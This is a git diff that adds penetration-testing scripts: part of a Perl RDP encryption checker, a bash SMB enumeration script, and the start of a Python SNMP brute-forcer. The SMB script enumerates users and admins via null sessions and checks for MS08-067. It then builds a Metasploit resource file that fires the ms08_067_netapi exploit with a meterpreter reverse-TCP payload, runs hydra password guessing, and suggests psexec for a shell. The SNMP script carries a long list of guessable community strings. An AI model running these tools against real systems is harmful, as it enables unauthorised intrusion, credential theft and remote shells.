+$encryption_level{"00000002"} = "ENCRYPTION_LEVEL_CLIENT_COMPATIBLE"; +$encryption_level{"00000003"} = "ENCRYPTION_LEVEL_HIGH"; +$encryption_level{"00000004"} = "ENCRYPTION_LEVEL_FIPS"; + +my %encryption_method; +$encryption_method{"00000000"} = "ENCRYPTION_METHOD_NONE"; +$encryption_method{"00000001"} = "ENCRYPTION_METHOD_40BIT"; +$encryption_method{"00000002"} = "ENCRYPTION_METHOD_128BIT"; +$encryption_method{"00000008"} = "ENCRYPTION_METHOD_56BIT"; +$encryption_method{"00000010"} = "ENCRYPTION_METHOD_FIPS"; + +my %version_meaning; +$version_meaning{"00080001"} = "RDP 4.0 servers"; +$version_meaning{"00080004"} = "RDP 5.0, 5.1, 5.2, 6.0, 6.1, 7.0, 7.1, and 8.0 servers"; + +my $enc = Encoding::BER->new(warn => sub{}); +my %config; + +my $VERSION = "0.9-beta"; +my $usage = "Starting rdp-sec-check v$VERSION ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) +Copyright (C) 2014 Mark Lowe (mrl\@portcullis-security.com) + +$0 [ options ] ( --file hosts.txt | host | host:port ) + +options are: + + --file hosts.txt targets, one ip:port per line + --outfile out.log output logfile + --timeout sec receive timeout (default 10s) + --retries times number of retries after timeout + --verbose + --debug + --help + +Example: + $0 192.168.1.1 + $0 --file hosts.txt --timeout 15 --retries 3 + $0 --outfile rdp.log 192.168.69.69:3389 + $0 --file hosts.txt --outfile rdp.log --verbose + +"; + +my $debug = 0; +my $verbose = 0; +my $help = 0; +my $hostfile = undef; +my $outfile = undef; +my @targets = (); + +my $global_recv_timeout = 10; +my $global_connect_fail_count = 5; +my $global_connection_count = 0; + +my $result = GetOptions ( + "verbose" => \$verbose, + "debug" => \$debug, + "help" => \$help, + "file=s" => \$hostfile, + "outfile=s" => \$outfile, + "timeout=i" => \$global_recv_timeout, + "retries=i" => \$global_connection_count, +); + +if ($help) { + print $usage; + exit 0; +} + +if ($debug) { + use Data::Dumper; + use warnings FATAL => 'all'; + use Carp qw(confess); + $SIG{ __DIE__ } = sub { confess( @_ ) }; +} + +if (defined($outfile)){ + # http://stackoverflow.com/questions/1631873/copy-all-output-of-a-perl-script-into-a-file + use Symbol; + my @handles = (*STDOUT); + my $handle = gensym( ); + push(@handles, $handle); + open $handle, ">$outfile" or die "[E] Can't write to $outfile: $!\n"; #open for write, overwrite; + tie *TEE, "Tie::Tee", @handles; + select(TEE); + *STDERR = *TEE; +} + +if (defined($hostfile)) { + open HOSTS, "<$hostfile" or die "[E] Can't open $hostfile: $!\n"; + while () { + chomp; chomp; + my $line = $_; + my $port = 3389; + my $host = $line; + if ($line =~ /\s*(\S+):(\d+)\s*/) { + $host = $1; + $port = $2; + } + my $ip = resolve($host); + if (defined($ip)) { + push @targets, { ip => $ip, hostname => $host, port => $port }; + } else { + print "[W] Unable to resolve host $host. Ignoring line: $line\n"; + } + } + close(HOSTS); + +} else { + my $host = shift or die $usage; + my $port = 3389; + if ($host =~ /\s*(\S+):(\d+)\s*/) { + $host = $1; + $port = $2; + } + my $ip = resolve($host); + unless (defined($ip)) { + die "[E] Can't resolve hostname $host\n"; + } + push @targets, { ip => $ip, hostname => $host, port => $port }; +} + +# flush after every write +$| = 1; + +my $global_starttime = time; +printf "Starting rdp-sec-check v%s ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) at %s\n", $VERSION, scalar(localtime); +printf "\n[+] Scanning %s hosts\n", scalar @targets; +print Dumper \@targets if $debug > 0; + +foreach my $target_addr (@targets) { + scan_host($target_addr->{hostname}, $target_addr->{ip}, $target_addr->{port}); +} + +print "\n"; +printf "rdp-sec-check v%s completed at %s\n", $VERSION, scalar(localtime); +print "\n"; + +sub scan_host { + my ($host, $ip, $port) = @_; + print "\n"; + print "Target: $host\n"; + print "IP: $ip\n"; + print "Port: $port\n"; + print "\n"; + print "[+] Connecting to $ip:$port\n" if $debug > 1; + my $socket; + my @response; + + print "[+] Checking supported protocols\n\n"; + print "[-] Checking if RDP Security (PROTOCOL_RDP) is supported..."; + $socket = get_socket($ip, $port); + @response = test_std_rdp_security($socket); + if (scalar @response == 19) { + my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; + if ($type eq "TYPE_RDP_NEG_FAILURE") { + printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; + $config{"protocols"}{"PROTOCOL_RDP"} = 0; + } else { + if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_RDP") { + print "Supported\n"; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; + } else { + printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; + } + } + } elsif (scalar @response == 11) { + printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n"; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; + } else { + print "Not supported - unexpected response\n"; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; + } + + print "[-] Checking if TLS Security (PROTOCOL_SSL) is supported..."; + $socket = get_socket($ip, $port); + @response = test_tls_security($socket); + if (scalar @response == 19) { + my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; + if ($type eq "TYPE_RDP_NEG_FAILURE") { + printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; + $config{"protocols"}{"PROTOCOL_SSL"} = 0; + } else { + if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_SSL") { + print "Supported\n"; + $config{"protocols"}{"PROTOCOL_SSL"} = 1; + } else { + printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; + } + } + } elsif (scalar @response == 11) { + printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n"; + $config{"protocols"}{"PROTOCOL_SSL"} = 0; + } else { + print "Not supported - unexpected response\n"; + $config{"protocols"}{"PROTOCOL_SSL"} = 0; + } + + print "[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]..."; + $socket = get_socket($ip, $port); + @response = test_credssp_security($socket); + if (scalar @response == 19) { + my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; + if ($type eq "TYPE_RDP_NEG_FAILURE") { + printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; + } else { + if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_HYBRID") { + print "Supported\n"; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 1; + } else { + printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; + } + } + } elsif (scalar @response == 11) { + printf "Negotiation ignored - old Windows 2000/XP/2003 system??\n"; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; + } else { + print "Not supported - unexpected response\n"; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; + } + print "\n"; + print "[+] Checking RDP Security Layer\n\n"; + foreach my $enc_hex (qw(00 01 02 08 10)) { + printf "[-] Checking RDP Security Layer with encryption %s...", $encryption_method{"000000" . $enc_hex}; + $socket = get_socket($ip, $port); + @response = test_classic_rdp_security($socket); + + if (scalar @response == 11) { + my @response_mcs = test_mcs_initial_connect($socket, $enc_hex); + unless (scalar(@response_mcs) > 8) { + print "Not supported\n"; + next; + } + my $length1 = ord($response_mcs[8]); + my $ber_encoded = join("", splice @response_mcs, 7); + my $ber = $enc->decode($ber_encoded); + my $user_data = $ber->{value}->[3]->{value}; + my ($sc_core, $sc_sec) = $user_data =~ /\x01\x0c..(.*)\x02\x0c..(.*)/s; + + my ($version, $client_requested_protocols, $early_capability_flags) = $sc_core =~ /(....)(....)?(....)?/; + my ($encryption_method, $encryption_level, $random_length, $server_cert_length) = $sc_sec =~ /(....)(....)(....)(....)/; + my $server_cert_length_i = unpack("V", $server_cert_length); + my $random_length_i = unpack("V", $random_length); + if ("000000" . $enc_hex eq sprintf "%08x", unpack("V", $encryption_method)) { + printf "Supported. Server encryption level: %s\n", $encryption_level{sprintf "%08x", unpack("V", $encryption_level)}; + $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 1; + $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 1; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; # This is the only way the script detects RDP support on 2000/XP + } else { + printf "Not supported. Negotiated %s. Server encryption level: %s\n", $encryption_method{sprintf "%08x", unpack("V", $encryption_method)}, $encryption_level{sprintf "%08x", unpack("V", $encryption_level)}; + $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 0; + $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 0; + } + my $random = substr $sc_sec, 16, $random_length_i; + my $cert = substr $sc_sec, 16 + $random_length_i, $server_cert_length_i; + } else { + print "Not supported\n"; + } + } + + if ($config{"protocols"}{"PROTOCOL_HYBRID"}) { + if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_RDP"}) { + $config{"issues"}{"NLA_SUPPORTED_BUT_NOT_MANDATED_DOS"} = 1; + } + } else { + # is this really a problem? + $config{"issues"}{"NLA_NOT_SUPPORTED_DOS"} = 1; + } + + if ($config{"protocols"}{"PROTOCOL_RDP"}) { + if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_HYBRID"}) { + $config{"issues"}{"SSL_SUPPORTED_BUT_NOT_MANDATED_MITM"} = 1; + } else { + $config{"issues"}{"ONLY_RDP_SUPPORTED_MITM"} = 1; + } + + if ($config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"}) { + $config{"issues"}{"WEAK_RDP_ENCRYPTION_SUPPORTED"} = 1; + } + + if ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"}) { + $config{"issues"}{"NULL_RDP_ENCRYPTION_SUPPORTED"} = 1; + } + + if ($config{"encryption_method"}{"ENCRYPTION_METHOD_FIPS"} and ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_128BIT"})) { + $config{"issues"}{"FIPS_SUPPORTED_BUT_NOT_MANDATED"} = 1; + } + } + + print "\n"; + print "[+] Summary of protocol support\n\n"; + foreach my $protocol (keys(%{$config{"protocols"}})) { + printf "[-] $ip:$port supports %-15s: %s\n", $protocol, $config{"protocols"}{$protocol} ? "TRUE" : "FALSE"; + } + + print "\n"; + print "[+] Summary of RDP encryption support\n\n"; + foreach my $encryption_level (sort keys(%{$config{"encryption_level"}})) { + printf "[-] $ip:$port has encryption level: %s\n", $encryption_level; + } + foreach my $encryption_method (sort keys(%encryption_method)) { + printf "[-] $ip:$port supports %-25s: %s\n", $encryption_method{$encryption_method}, (defined($config{"encryption_method"}{$encryption_method{$encryption_method}}) and $config{"encryption_method"}{$encryption_method{$encryption_method}}) ? "TRUE" : "FALSE"; + } + + print "\n"; + print "[+] Summary of security issues\n\n"; + foreach my $issue (keys(%{$config{"issues"}})) { + print "[-] $ip:$port has issue $issue\n"; + } + + print Dumper \%config if $debug; +} + +sub test_std_rdp_security { + my ($socket) = @_; + my $string = get_x224_crq_std_rdp_security(); + return do_handshake($socket, $string); +} + +sub test_tls_security { + my ($socket) = @_; + my $string = get_x224_crq_tls_security(); + return do_handshake($socket, $string); +} + +sub test_credssp_security { + my ($socket) = @_; + my $string = get_x224_crq_credssp_security(); + return do_handshake($socket, $string); +} + +sub test_classic_rdp_security { + my ($socket) = @_; + my $string = get_x224_crq_classic(); + return do_handshake($socket, $string); +} + +sub test_mcs_initial_connect { + my ($socket, $enc_hex) = @_; + my $string = get_mcs_initial_connect($enc_hex); + return do_handshake($socket, $string); +} + +sub do_handshake { + my ($socket, $string) = @_; + print "[+] Sending:\n" if $debug > 1; + hdump($string) if $debug > 1; + + print $socket $string; + + my $data; + + local $SIG{ALRM} = sub { die "alarm\n" }; + eval { + alarm($global_recv_timeout); + $socket->recv($data,4); + alarm(0); + }; + if ($@) { + print "[W] Timeout on recv. Results may be unreliable.\n"; + } + + if (length($data) == 4) { + print "[+] Received from Server :\n" if $debug > 1; + hdump($data) if $debug > 1; + my @data = split("", $data); + my $length = (ord($data[2]) << 8) + ord($data[3]); + printf "[+] Initial length: %d\n", $length if $debug > 1; + my $data2 = ""; + while (length($data) < $length) { + local $SIG{ALRM} = sub { die "alarm\n" }; + eval { + alarm($global_recv_timeout); + $socket->recv($data2,$length - 4); + alarm(0); + }; + if ($@) { + print "[W] Timeout on recv. Results may be unreliable.\n"; + } + print "[+] Received " . length($data2) . " bytes from Server :\n" if $debug > 1; + hdump($data2) if $debug > 1; + $data .= $data2; + } + return split "", $data; + } else { + return undef; + } +} + +# http://www.perlmonks.org/?node_id=111481 +sub hdump { + my $offset = 0; + my(@array,$format); + foreach my $data (unpack("a16"x(length($_[0])/16)."a*",$_[0])) { + my($len)=length($data); + if ($len == 16) { + @array = unpack('N4', $data); + $format="0x%08x (%05d) %08x %08x %08x %08x %s\n"; + } else { + @array = unpack('C*', $data); + $_ = sprintf "%2.2x", $_ for @array; + push(@array, ' ') while $len++ < 16; + $format="0x%08x (%05d)" . + " %s%s%s%s %s%s%s%s %s%s%s%s %s%s%s%s %s\n"; + } + $data =~ tr/\0-\37\177-\377/./; + printf $format,$offset,$offset,@array,$data; + $offset += 16; + } +} + +sub get_x224_crq_std_rdp_security { + return get_x224_connection_request("00"); +} + +sub get_x224_crq_tls_security { + return get_x224_connection_request("01"); +} + +sub get_x224_crq_credssp_security { + return get_x224_connection_request("03"); +} + +sub get_x224_crq_classic { + return get_old_connection_request(); +} + +# enc_hex is bitmask of: +# 01 - 40 bit +# 02 - 128 bit +# 08 - 56 bit +# 10 - fips +# +# common value sniffed from wireshark: 03 +sub get_mcs_initial_connect { + my $enc_hex = shift; + my @packet_hex = qw( + 03 00 01 a2 02 f0 80 7f 65 82 + 01 96 04 01 01 04 01 01 01 01 ff 30 20 02 02 00 + 22 02 02 00 02 02 02 00 00 02 02 00 01 02 02 00 + 00 02 02 00 01 02 02 ff ff 02 02 00 02 30 20 02 + 02 00 01 02 02 00 01 02 02 00 01 02 02 00 01 02 + 02 00 00 02 02 00 01 02 02 04 20 02 02 00 02 30 + 20 02 02 ff ff 02 02 fc 17 02 02 ff ff 02 02 00 + 01 02 02 00 00 02 02 00 01 02 02 ff ff 02 02 00 + 02 04 82 01 23 00 05 00 14 7c 00 01 81 1a 00 08 + 00 10 00 01 c0 00 44 75 63 61 81 0c 01 c0 d4 00 + 04 00 08 00 20 03 58 02 01 ca 03 aa 09 04 00 00 + 28 0a 00 00 68 00 6f 00 73 00 74 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 04 00 00 00 00 00 00 00 0c 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 01 ca 01 00 00 00 00 00 18 00 07 00 01 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 04 c0 0c 00 09 00 00 00 00 00 00 00 02 c0 0c 00 + ); + push @packet_hex, $enc_hex; + push @packet_hex, qw(00 00 00 00 00 00 00 03 c0 20 00 02 00 00 00 + 63 6c 69 70 72 64 72 00 c0 a0 00 00 72 64 70 64 + 72 00 00 00 80 80 00 00 + ); + my $string = join("", @packet_hex); + $string =~ s/(..)/sprintf("%c", hex($1))/ge; + return $string; +} + +# MS-RDPBCGR +sub get_x224_connection_request { + my $sec = shift; + my @packet_hex; + push @packet_hex, qw(03); # tpktHeader - version + push @packet_hex, qw(00); # tpktHeader - reserved + push @packet_hex, qw(00 13); # tpktHeader - length + push @packet_hex, qw(0e); # x224Crq - length + push @packet_hex, qw(e0); # x224Crq - connection request + push @packet_hex, qw(00 00); # x224Crq - ?? + push @packet_hex, qw(00 00); # x224Crq - src-ref + push @packet_hex, qw(00); # x224Crq - class + push @packet_hex, qw(01); # rdpNegData - type + push @packet_hex, qw(00); # rdpNegData - flags + push @packet_hex, qw(08 00); # rdpNegData - length + push @packet_hex, ($sec, qw(00 00 00)); # rdpNegData - requestedProtocols. bitmask, little endian: 0=standard rdp security, 1=TLSv1, 2=Hybrid (CredSSP) + + my $string = join("", @packet_hex); + $string =~ s/(..)/sprintf("%c", hex($1))/ge; + return $string; +} + +sub get_old_connection_request { + my @packet_hex = qw( + 03 00 00 22 1d e0 00 00 00 00 + 00 43 6f 6f 6b 69 65 3a 20 6d 73 74 73 68 61 73 + 68 3d 72 6f 6f 74 0d 0a + ); + my $string = join("", @packet_hex); + $string =~ s/(..)/sprintf("%c", hex($1))/ge; + return $string; +} + +sub get_socket { + my ($ip, $port) = @_; + my $socket = undef; + my $failcount = 0; + while (!defined($socket)) { + $global_connection_count++; + eval { + local $SIG{ALRM} = sub { die "alarm\n" }; + alarm($global_recv_timeout); + $socket = new IO::Socket::INET ( + PeerHost => $ip, + PeerPort => $port, + Proto => 'tcp', + ) or print "WARNING in Socket Creation : $!\n"; + alarm(0); + }; + if ($@) { + print "[W] Timeout on connect. Retrying...\n"; + return undef; + } + unless (defined($socket)) { + $failcount++; + } + if ($failcount > $global_connect_fail_count) { + die "ERROR: failed to connect $global_connect_fail_count times\n"; + } + } + return $socket; +} + +sub print_section { + my ($string) = @_; + print "\n=== $string ===\n\n"; +} + +sub resolve { + my $hostname = shift; + print "[D] Resolving $hostname\n" if $debug > 0; + my $ip = gethostbyname($hostname); + if (defined($ip)) { + return inet_ntoa($ip); + } else { + return undef; + } +} + +# Perl Cookbook, Tie Example: Multiple Sink Filehandles +package Tie::Tee; + +sub TIEHANDLE { + my $class = shift; + my $handles = [@_]; + bless $handles, $class; + return $handles; +} + +sub PRINT { + my $href = shift; + my $handle; + my $success = 0; + foreach $handle (@$href) { + $success += print $handle @_; + } + return $success == @$href; +} + +sub PRINTF { + my $href = shift; + my $handle; + my $success = 0; + foreach $handle (@$href) { + $success += printf $handle @_; + } + return $success == @$href; +} + +1; + diff --git a/scripts/smbenum.sh b/scripts/smbenum.sh new file mode 100644 index 00000000..34e11b40 --- /dev/null +++ b/scripts/smbenum.sh @@ -0,0 +1,79 @@ +#!/bin/bash +# smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal +# SECFORCE - Antonio Quina +# All credits to Bernardo Damele A. G. for the ms08-067_check.py script + +IFACE="eth0" + +if [ $# -eq 0 ] + then + echo "Usage: $0 " + echo "eg: $0 10.10.10.10" + exit + else + IP="$1" +fi + +echo -e "\n########## Getting Netbios name ##########" +nbtscan -v -h $IP + +echo -e "\n########## Checking for NULL sessions ##########" +output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"` +echo $output + +echo -e "\n########## Enumerating domains ##########" +bash -c "echo 'enumdomains' | rpcclient $IP -U%" + +echo -e "\n########## Enumerating password and lockout policies ##########" +polenum $IP + +echo -e "\n########## Enumerating users ##########" +nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP +bash -c "echo 'enumdomusers' | rpcclient $IP -U%" +bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt + +echo -e "\n########## Enumerating Administrators ##########" +net rpc group members "Administrators" -I $IP -U% + +echo -e "\n########## Enumerating Domain Admins ##########" +net rpc group members "Domain Admins" -I $IP -U% + +echo -e "\n########## Enumerating groups ##########" +nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP + +echo -e "\n########## Enumerating shares ##########" +nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP + +#echo -e "\n########## Checking for common vulnerabilities ##########" +#nmap -Pn -T4 -sS -p139,445 --script=smb-check-vulns $IP +#nmap -Pn -T4 -sS -p139,445 --script=smb-check-vulns --script-args=unsafe=1 $IP +#echo -e "\nChecking for MS08-067 with metasploit. It could take a while.." +#vulnerable=`msfcli exploits/windows/smb/ms08_067_netapi RHOST=$IP C` +echo -e "\nChecking for MS08-067.." +vulnerable=`python ./scripts/ms08-067_check.py -t $IP -s` +echo $vulnerable + +#if [[ $vulnerable == *"The target is vulnerable"* ]] +if [[ $vulnerable == *"VULNERABLE"* ]] + then + echo "Oh yeah! The target is vulnerable!" + MYIP=$(ifconfig $IFACE | awk -F'[: ]+' '/inet addr:/ {print $4}') + echo "use exploits/windows/smb/ms08_067_netapi" > /tmp/$IP-netapi.rc + echo "set payload windows/meterpreter/reverse_tcp" >> /tmp/$IP-netapi.rc + echo "set RHOST $IP" >> /tmp/$IP-netapi.rc + echo "set LHOST $MYIP" >> /tmp/$IP-netapi.rc + echo "set LPORT 443" >> /tmp/$IP-netapi.rc + echo "set ExitOnSession false" >> /tmp/$IP-netapi.rc + echo "exploit -j" >> /tmp/$IP-netapi.rc + + echo -e "\nTo exploit this host now use:" + echo -e "msfconsole -r /tmp/$IP-netapi.rc" + else + echo "The target is NOT vulnerable!" + echo -e "\n########## Bruteforcing all users with 'password', blank and username as password" + hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1 + rm /tmp/$IP-users.txt + + echo -e "\n\nTo get a shell use:" + echo -e "/usr/local/bin/psexec.py :@$IP cmd.exe\n" +fi diff --git a/scripts/snmpbrute.py b/scripts/snmpbrute.py new file mode 100644 index 00000000..3e13709c --- /dev/null +++ b/scripts/snmpbrute.py @@ -0,0 +1,789 @@ +#!/usr/bin/env python +# SNMP Bruteforce & Enumeration Script +# Requires metasploit, snmpwalk, snmpstat and john the ripper +__version__ = 'v1.0b' +from socket import socket, SOCK_DGRAM, AF_INET, timeout +from random import randint +from time import sleep +import optparse, sys, os +from subprocess import Popen, PIPE +import struct +import threading, thread +import tempfile + +from scapy.all import (SNMP, SNMPnext, SNMPvarbind, ASN1_OID, SNMPget, ASN1_DECODING_ERROR, ASN1_NULL, ASN1_IPADDRESS, + SNMPset, SNMPbulk, IP) + +########################################################################################################## +# Defaults +########################################################################################################## +class defaults: + rate=30.0 + timeOut=2.0 + port=161 + delay=2 + interactive=True + verbose=False + getcisco=True + colour=True + +default_communities=['','0','0392a0','1234','2read','3com','3Com','3COM','4changes','access','adm','admin','Admin','administrator','agent','agent_steal','all','all private','all public','anycom','ANYCOM','apc','bintec','blue','boss','c','C0de','cable-d','cable_docsispublic@es0','cacti','canon_admin','cascade','cc','changeme','cisco','CISCO','cmaker','comcomcom','community','core','CR52401','crest','debug','default','demo','dilbert','enable','entry','field','field-service','freekevin','friend','fubar','guest','hello','hideit','host','hp_admin','ibm','IBM','ilmi','ILMI','intel','Intel','intermec','Intermec','internal','internet','ios','isdn','l2','l3','lan','liteon','login','logon','lucenttech','lucenttech1','lucenttech2','manager','master','microsoft','mngr','mngt','monitor','mrtg','nagios','net','netman','network','nobody','NoGaH$@!','none','notsopublic','nt','ntopia','openview','operator','OrigEquipMfr','ourCommStr','pass','passcode','password','PASSWORD','pr1v4t3','pr1vat3','private',' private','private ','Private','PRIVATE','private@es0','Private@es0','private@es1','Private@es1','proxy','publ1c','public',' public','public ','Public','PUBLIC','public@es0','public@es1','public/RO','read','read-only','readwrite','read-write','red','regional','','rmon','rmon_admin','ro','root','router','rw','rwa','sanfran','san-fran','scotty','secret','Secret','SECRET','Secret C0de','security','Security','SECURITY','seri','server','snmp','SNMP','snmpd','snmptrap','snmp-Trap','SNMP_trap','SNMPv1/v2c','SNMPv2c','solaris','solarwinds','sun','SUN','superuser','supervisor','support','switch','Switch','SWITCH','sysadm','sysop','Sysop','system','System','SYSTEM','tech','telnet','TENmanUFactOryPOWER','test','TEST','test2','tiv0li','tivoli','topsecret','traffic','trap','user','vterm1','watch','watchit','windows','windowsnt','workstation','world','write','writeit','xyzzy','yellow','ILMI'] + +########################################################################################################## +# OID's +########################################################################################################## +''' Credits +Some OID's borowed from Cisc0wn script +# Cisc0wn - The Cisco SNMP 0wner. +# Daniel Compton +# www.commonexploits.com +# contact@commexploits.com +''' + +RouteOIDS={ + 'ROUTDESTOID': [".1.3.6.1.2.1.4.21.1.1", "Destination"], + 'ROUTHOPOID': [".1.3.6.1.2.1.4.21.1.7", "Next Hop"], + 'ROUTMASKOID': [".1.3.6.1.2.1.4.21.1.11", "Mask"], + 'ROUTMETOID': [".1.3.6.1.2.1.4.21.1.3", "Metric"], + 'ROUTINTOID': [".1.3.6.1.2.1.4.21.1.2", "Interface"], + 'ROUTTYPOID': [".1.3.6.1.2.1.4.21.1.8", "Route type"], + 'ROUTPROTOID': [".1.3.6.1.2.1.4.21.1.9", "Route protocol"], + 'ROUTAGEOID': [".1.3.6.1.2.1.4.21.1.10", "Route age"] +} + +InterfaceOIDS={ + #Interface Info + 'INTLISTOID': [".1.3.6.1.2.1.2.2.1.2", "Interfaces"], + 'INTIPLISTOID': [".1.3.6.1.2.1.4.20.1.1", "IP address"], + 'INTIPMASKOID': [".1.3.6.1.2.1.4.20.1.3", "Subnet mask"], + 'INTSTATUSLISTOID':[".1.3.6.1.2.1.2.2.1.8", "Status"] +} + +ARPOIDS={ + # Arp table + 'ARPADDR': [".1.3.6.1.2.1.3.1 ","ARP address method A"], + 'ARPADDR2': [".1.3.6.1.2.1.3.1 ","ARP address method B"] +} + +OIDS={ + 'SYSTEM':["iso.3.6.1.2.1.1 ","SYSTEM Info"] +} + +snmpstat_args={ + 'Interfaces':["-Ci","Interface Info"], + 'Routing':["-Cr","Route Info"], + 'Netstat':["","Netstat"], + #'Statistics':["-Cs","Stats"] +} + +'''Credits +The following OID's are borrowed from snmpenum.pl script +# ----by filip waeytens 2003---- +# ---- DA SCANIT CREW www.scanit.be ---- +# filip.waeytens@hushmail.com +''' + +WINDOWS_OIDS={ + 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], + 'INSTALLED SOFTWARE': ["1.3.6.1.2.1.25.6.3.1.2","Installed Software"], + 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], + 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], + 'DOMAIN': ["1.3.6.1.4.1.77.1.4.1","Domain"], + 'USERS': ["1.3.6.1.4.1.77.1.2.25","Users"], + 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], + 'SHARES': ["1.3.6.1.4.1.77.1.2.27","Shares"], + 'DISKS': ["1.3.6.1.2.1.25.2.3.1.3","Disks"], + 'SERVICES': ["1.3.6.1.4.1.77.1.2.3.1.1","Services"], + 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"], + 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"] +} + +LINUX_OIDS={ + 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], + 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], + 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], + 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], + 'MOUNTPOINTS': ["1.3.6.1.2.1.25.2.3.1.3","MountPoints"], + 'RUNNING SOFTWARE PATHS': ["1.3.6.1.2.1.25.4.2.1.4","Running Software Paths"], + 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"], + 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"] +} + +CISCO_OIDS={ + 'LAST TERMINAL USERS': ["1.3.6.1.4.1.9.9.43.1.1.6.1.8","Last Terminal User"], + 'INTERFACES': ["1.3.6.1.2.1.2.2.1.2","Interfaces"], + 'SYSTEM INFO': ["1.3.6.1.2.1.1.1","System Info"], + 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], + 'SNMP Communities': ["1.3.6.1.6.3.12.1.3.1.4","Communities"], + 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], + 'IP ADDRESSES': ["1.3.6.1.2.1.4.20.1.1","IP Addresses"], + 'INTERFACE DESCRIPTIONS': ["1.3.6.1.2.1.31.1.1.1.18","Interface Descriptions"], + 'HARDWARE': ["1.3.6.1.2.1.47.1.1.1.1.2","Hardware"], + 'TACACS SERVER': ["1.3.6.1.4.1.9.2.1.5","TACACS Server"], + 'LOG MESSAGES': ["1.3.6.1.4.1.9.9.41.1.2.3.1.5","Log Messages"], + 'PROCESSES': ["1.3.6.1.4.1.9.9.109.1.2.1.1.2","Processes"], + 'SNMP TRAP SERVER': ["1.3.6.1.6.3.12.1.2.1.7","SNMP Trap Server"] +} + +########################################################################################################## +# Classes +########################################################################################################## + +class SNMPError(Exception): + '''Credits + Class copied from sploitego project + __original_author__ = 'Nadeem Douba' + https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py + ''' + pass + +class SNMPVersion: + '''Credits + Class copied from sploitego project + __original_author__ = 'Nadeem Douba' + https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py + ''' + v1 = 0 + v2c = 1 + v3 = 2 + + @classmethod + def iversion(cls, v): + if v in ['v1', '1']: + return 